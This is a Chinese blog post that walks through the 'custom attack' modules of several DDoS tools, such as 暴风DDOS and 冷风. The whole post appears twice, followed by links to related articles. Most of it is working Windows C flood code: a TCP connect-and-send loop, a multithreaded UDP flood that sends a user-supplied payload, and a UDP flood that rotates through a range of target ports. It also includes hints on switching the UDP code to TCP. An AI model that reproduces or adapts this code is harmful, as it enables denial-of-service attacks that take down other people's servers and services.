对现有的所能找到的DDOS代码(攻击模块)做出一次分析----自定义攻击篇
2015-09-27 16:59
351 查看
对现有的所能找到的DDOS代码(攻击模块)做出一次分析----自定义攻击篇
//===================================================
分析者:alalmn—飞龙 BLOG:http://hi.baidu.com/alalmn
分析的不好请各位高手见谅花了几个小时分析的呵呵
自定义攻击
之前有看过TCP 和 UDP 攻击的在看这个自定义攻击就很好理解并不难
就是发送数据换成自己的填写的数据
Maxer TCP UDP 自定义攻击服务端没有写代码
暴风DDOS TCP UDP 也就只有界面没写代码
冷风的.h
/************************Define Pack Attack***********************************/
//自定义攻击 确定包攻击
unsigned long CALLBACK pack_flood(LPVOID dParam) //DEFPACK攻击
{
SOCKADDR_IN sockAddr; //IP信息结构
SOCKET m_hSocket; //套接字
// int nSent;
int nSize = strlen(PackBuffer); //计算数据长度
m_hSocket = socket(PF_INET,SOCK_STREAM,0); //设置IPV几,TCP或UDP连接,TCP或UDP协议 socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~
memset(&sockAddr,0,sizeof(sockAddr)); //内存空间初始化
sockAddr.sin_family = AF_INET; //指代协议族,在socket编程中只能是AF_INET
sockAddr.sin_port=htons(DdosPort); //端口
sockAddr.sin_addr.S_un.S_addr=resolve(DdosUrl); //IP地址
while(1)
{
if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) //连接并 查看是否可以连接
{ //不能连接
closesocket(m_hSocket); //关闭SOCKET
Sleep(100); //延时
continue; //跳出本次循环
}
send(m_hSocket,PackBuffer,nSize,0);
//发送 IP 数据缓冲区 数据长度 执行方式
closesocket(m_hSocket); //关闭SOCKET
printf("."); //DOS提示
Sleep(100); //延时
}
return 1;
}
//======================================================================
暴风DDOSVIP2010-225.h
/*----------------------------------------------------------------------------------------*/
void StartUDP(char ip[30],int port,int mytime,int xc) //UDP(流量) ANSI字符串 zhwt=1; 说是自定义攻击 攻击个毛啊 都没自定义数据操作
/*----------------------------------------------------------------------------------------*/
void StartSYN(char ip[30],int port,int time,int xc) //SYN(流量) 这个也是这样 16进制字符串 zhwt=2; 根本没自定义攻击 都没自定义数据操作
/*----------------------------------------------------------------------------------------*/
void zdyudpattack() //UDP模式 cbao=15; 自定义攻击
{
int zdysize=strlen(zdyBuffer); //计算攻击字符长度
SOCKADDR_IN udpaddr; //IP信息结构
udpaddr.sin_family=AF_INET; //sin_family 地址家族(必须是AF_INET)
udpaddr.sin_addr.s_addr=inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
udpaddr.sin_port=htons(tgtPort); //攻击端口
SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~
int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项
for (;;)
{
if(StopFlag == 1) //是否在攻击状态
{
ExitThread(0);
return;
}
for(int a=0;a<12;a++)
sendto(s,zdyBuffer,zdysize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr)); //向一指定目的地发送数据
Sleep(SleepTime);//暂停(毫秒)
}
closesocket(s); //关闭socket
WSACleanup();
}
void StartZDYUDP(char ip[30],char wr[256],int port,int mytime,int xc) //UDP模式 cbao=15; 自定义攻击
{ //wr是攻击数据
if (inet_addr(ip)== INADDR_NONE)
{
struct hostent *hp = NULL;
if ((hp = gethostbyname(ip)) != NULL)
{
in_addr in;
memcpy(&in, hp->h_addr, hp->h_length);
strcpy(tgtIP,inet_ntoa(in));
}
}
else
strcpy(tgtIP,ip);
tgtPort=port;
timeout=mytime;
memset(zdyBuffer,0,sizeof(zdyBuffer));
strcpy(zdyBuffer,wr); //wr是攻击数据
StopFlag = -1;
for(z=0;z<xc;z++)
{
h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)zdyudpattack, NULL, 0, NULL);
}
if(timeout!=0)
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL);
}
}
/*----------------------------------------------------------------------------------------*/
StartZDYTCP(msg.addr,msg.zdy,msg.port,msg.time,msg.thread); //TCP模式 cbao=16; 自定义攻击代码没有 其实很简单
//SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~
//只要改下这个参数就变了
/*----------------------------------------------------------------------------------------*/
StartSJLW(msg.addr,msg.port,msg.time,msg.thread,msg.s,msg.s2); //乱舞循环 zbao=24; 没提供代码
/*----------------------------------------------------------------------------------------*/
//s1是随机数 s2应该是结尾
void PortLHUDP() //端口轮回 zbao=23;
{
char senddata[1024];
memset(senddata,'A',1024);
int sendsize=strlen(senddata);
SOCKADDR_IN udpaddr;
for (int i=S1;i<=S2;++i)
{
udpaddr.sin_family=AF_INET;
udpaddr.sin_addr.s_addr=inet_addr(tgtIP);
udpaddr.sin_port=htons(i); //i是循环得到的一个动态端口号
SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~
if(StopFlag==1)
{
ExitThread(0);
return;
}
for(int a=0;a<10;a++)
sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr));
Sleep(SleepTime);
if(i==S2)
i=S1;
}
WSACleanup();
}
void StartPortLH(char ip[30],int time,int xc,int s,int s2) //端口轮回 zbao=23;
{
if (inet_addr(ip)== INADDR_NONE)
{
struct hostent *hp = NULL;
if ((hp = gethostbyname(ip)) != NULL)
{
in_addr in;
memcpy(&in, hp->h_addr, hp->h_length);
strcpy(tgtIP,inet_ntoa(in));
}
}
else
strcpy(tgtIP,ip);
S1=s;
S2=s2;
timeout=time;
StopFlag = -1;
for(z=0;z<xc;z++)
{
h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PortLHUDP, NULL, 0, NULL);
}
if(timeout!=0)
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL);
}
}
/*----------------------------------------------------------------------------------------*/
//
//===================================================
分析者:alalmn—飞龙 BLOG:http://hi.baidu.com/alalmn
分析的不好请各位高手见谅花了几个小时分析的呵呵
自定义攻击
之前有看过TCP 和 UDP 攻击的在看这个自定义攻击就很好理解并不难
就是发送数据换成自己的填写的数据
Maxer TCP UDP 自定义攻击服务端没有写代码
暴风DDOS TCP UDP 也就只有界面没写代码
冷风的.h
/************************Define Pack Attack***********************************/
//自定义攻击 确定包攻击
unsigned long CALLBACK pack_flood(LPVOID dParam) //DEFPACK攻击
{
SOCKADDR_IN sockAddr; //IP信息结构
SOCKET m_hSocket; //套接字
// int nSent;
int nSize = strlen(PackBuffer); //计算数据长度
m_hSocket = socket(PF_INET,SOCK_STREAM,0); //设置IPV几,TCP或UDP连接,TCP或UDP协议 socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~
memset(&sockAddr,0,sizeof(sockAddr)); //内存空间初始化
sockAddr.sin_family = AF_INET; //指代协议族,在socket编程中只能是AF_INET
sockAddr.sin_port=htons(DdosPort); //端口
sockAddr.sin_addr.S_un.S_addr=resolve(DdosUrl); //IP地址
while(1)
{
if (connect(m_hSocket,(SOCKADDR*)&sockAddr, sizeof(sockAddr)) != 0) //连接并 查看是否可以连接
{ //不能连接
closesocket(m_hSocket); //关闭SOCKET
Sleep(100); //延时
continue; //跳出本次循环
}
send(m_hSocket,PackBuffer,nSize,0);
//发送 IP 数据缓冲区 数据长度 执行方式
closesocket(m_hSocket); //关闭SOCKET
printf("."); //DOS提示
Sleep(100); //延时
}
return 1;
}
//======================================================================
暴风DDOSVIP2010-225.h
/*----------------------------------------------------------------------------------------*/
void StartUDP(char ip[30],int port,int mytime,int xc) //UDP(流量) ANSI字符串 zhwt=1; 说是自定义攻击 攻击个毛啊 都没自定义数据操作
/*----------------------------------------------------------------------------------------*/
void StartSYN(char ip[30],int port,int time,int xc) //SYN(流量) 这个也是这样 16进制字符串 zhwt=2; 根本没自定义攻击 都没自定义数据操作
/*----------------------------------------------------------------------------------------*/
void zdyudpattack() //UDP模式 cbao=15; 自定义攻击
{
int zdysize=strlen(zdyBuffer); //计算攻击字符长度
SOCKADDR_IN udpaddr; //IP信息结构
udpaddr.sin_family=AF_INET; //sin_family 地址家族(必须是AF_INET)
udpaddr.sin_addr.s_addr=inet_addr(tgtIP); //inet_addr将ip地址转换成网络地址
udpaddr.sin_port=htons(tgtPort); //攻击端口
SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~
int nZero = 0;
setsockopt(s,SOL_SOCKET,SO_SNDBUF,(char *)&nZero,sizeof(nZero)); //设置套接口的选项
for (;;)
{
if(StopFlag == 1) //是否在攻击状态
{
ExitThread(0);
return;
}
for(int a=0;a<12;a++)
sendto(s,zdyBuffer,zdysize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr)); //向一指定目的地发送数据
Sleep(SleepTime);//暂停(毫秒)
}
closesocket(s); //关闭socket
WSACleanup();
}
void StartZDYUDP(char ip[30],char wr[256],int port,int mytime,int xc) //UDP模式 cbao=15; 自定义攻击
{ //wr是攻击数据
if (inet_addr(ip)== INADDR_NONE)
{
struct hostent *hp = NULL;
if ((hp = gethostbyname(ip)) != NULL)
{
in_addr in;
memcpy(&in, hp->h_addr, hp->h_length);
strcpy(tgtIP,inet_ntoa(in));
}
}
else
strcpy(tgtIP,ip);
tgtPort=port;
timeout=mytime;
memset(zdyBuffer,0,sizeof(zdyBuffer));
strcpy(zdyBuffer,wr); //wr是攻击数据
StopFlag = -1;
for(z=0;z<xc;z++)
{
h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)zdyudpattack, NULL, 0, NULL);
}
if(timeout!=0)
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL);
}
}
/*----------------------------------------------------------------------------------------*/
StartZDYTCP(msg.addr,msg.zdy,msg.port,msg.time,msg.thread); //TCP模式 cbao=16; 自定义攻击代码没有 其实很简单
//SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~
//只要改下这个参数就变了
/*----------------------------------------------------------------------------------------*/
StartSJLW(msg.addr,msg.port,msg.time,msg.thread,msg.s,msg.s2); //乱舞循环 zbao=24; 没提供代码
/*----------------------------------------------------------------------------------------*/
//s1是随机数 s2应该是结尾
void PortLHUDP() //端口轮回 zbao=23;
{
char senddata[1024];
memset(senddata,'A',1024);
int sendsize=strlen(senddata);
SOCKADDR_IN udpaddr;
for (int i=S1;i<=S2;++i)
{
udpaddr.sin_family=AF_INET;
udpaddr.sin_addr.s_addr=inet_addr(tgtIP);
udpaddr.sin_port=htons(i); //i是循环得到的一个动态端口号
SOCKET s=socket(AF_INET,SOCK_DGRAM,0); //创建socket socket第二个参数为SOCK_DGRAM,就是代表是UDP协议~
if(StopFlag==1)
{
ExitThread(0);
return;
}
for(int a=0;a<10;a++)
sendto(s,senddata,sendsize,0,(SOCKADDR *)&udpaddr,sizeof(udpaddr));
Sleep(SleepTime);
if(i==S2)
i=S1;
}
WSACleanup();
}
void StartPortLH(char ip[30],int time,int xc,int s,int s2) //端口轮回 zbao=23;
{
if (inet_addr(ip)== INADDR_NONE)
{
struct hostent *hp = NULL;
if ((hp = gethostbyname(ip)) != NULL)
{
in_addr in;
memcpy(&in, hp->h_addr, hp->h_length);
strcpy(tgtIP,inet_ntoa(in));
}
}
else
strcpy(tgtIP,ip);
S1=s;
S2=s2;
timeout=time;
StopFlag = -1;
for(z=0;z<xc;z++)
{
h[z]=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)PortLHUDP, NULL, 0, NULL);
}
if(timeout!=0)
{
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)wait_for_end, NULL, 0, NULL);
}
}
/*----------------------------------------------------------------------------------------*/
//
相关文章推荐
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----UDP篇
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----ICMP篇
- Java反射机制详解
- asp.net下调用Matlab生成动态链接库
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----GET篇
- 修改11—1的程序编程instanceof
- C#调用Matlab生成的dll方法的详细说明_C#教程
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----CC篇
- 对现有的所能找到的DDOS代码(攻击模块)做出一次分析----SYN(洪水攻击)篇
- JAVA入门知识汇总
- MyEclipse 修改工程名
- ThinkPHP表单数据智能写入create方法实例分析
- 走向高手的编程算法
- c#中的Rank属性和GetUpperBound,GetLowerBound(0)方法
- 深入解析Java接口(interface)的使用
- 黑马程序员——C语言基础---函数
- spring如何加载classpath和classpath*资源
- C# 动态数组
- 从c到c++<二>
- 简单理解Java的抽象类